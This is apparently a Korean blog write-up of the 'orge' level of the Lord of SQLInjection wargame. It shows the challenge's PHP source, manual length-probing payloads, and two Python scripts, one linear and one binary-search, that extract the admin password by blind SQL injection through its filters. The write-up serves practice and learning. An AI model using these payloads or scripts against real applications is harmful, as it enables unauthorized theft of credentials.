본문 바로가기

웹 해킹/SQL Injection

LORD OF SQLINJECTION - ORGE

 

그냥... 갑자기 풀어봤다

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

 

$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 부분을 보면 어쨌든 admin의 pw는 구해야 함

 

1. 비밀번호 길이 구하기

'||id='admin'&&length(pw)={숫자}#  에러뜸 

 

처음에 char_length() 썼다가 필터링에 걸려서 length() 함수로 변경했다. 어차피 1바이트인 영어랑 숫자로만 구성돼있을거 같아서 결과는 같을 것이다.

 

&와 #가 URL 특수문자여서 에러가 뜬 것을 확인함. 각각 %26, %23으로 치환

 

코드 작성하려다 귀찮아서 숫자 1부터 하나씩 대입해보니 7에서 Hello admin이 출력됐다.

 

 

2. 비밀번호 구하기

# 비밀번호를 저장할 변수
pw = ''

# ASCII 값 범위 설정
ascii_range = list(range(48, 58)) + list(range(65, 91)) + list(range(97,123))  # 48~57: '0'-'9', 65~90: 'A'-'Z'

# SQL 인젝션으로 pw 추측
for i in range(1, 9):
    print(f"{i}번째 문자 추측 중...")
    for ascii_code in ascii_range:
        payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))={ascii_code}--+-"
        res = requests.get(url+payload, cookies=cookies, verify=False)
        if 'Hello admin' in res.text:  # 예제에서 "Hello admin"이 성공 조건이라고 가정
            pw += chr(ascii_code)
            print(f"{i}번째 문자의 ascii: {chr(ascii_code)}")
            break

print(f"추출된 pw: {pw}")

 

 

이진 탐색 ver

# 비밀번호를 저장할 변수
pw = ''

# ASCII 값 범위 설정
ascii_range = list(range(48, 58)) + list(range(65, 91)) + list(range(97,123)) # 48~57: '0'-'9', 65~90: 'A'-'Z'

# SQL 인젝션으로 pw 추측
for i in range(1, 9):
    print(f"{i}번째 문자 추측 중...")
    low = 0
    high = len(ascii_range) - 1
    
    while low <= high:
        mid = (low + high) // 2
        ascii_code = ascii_range[mid]
        payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))={ascii_code}--+-"
        response = requests.get(url+payload, cookies=cookies, verify=False)
        
        # 응답의 내용을 통해 올바른 문자인지 확인
        if 'Hello admin' in response.text:
            pw += chr(ascii_code)
            print(f"{i}번째 문자: {chr(ascii_code)}")
            break
        else:
            # 이진 탐색 조정
            payload = f"'||id='admin'%26%26ascii(substr(pw,{i},1))<{ascii_code}--+-"
            full_url = url + payload
            response = requests.get(url+payload, cookies=cookies, verify=False)
            if 'Hello admin' in response.text:
                high = mid - 1
            else:
                low = mid + 1

print(f"추출된 pw: {pw}")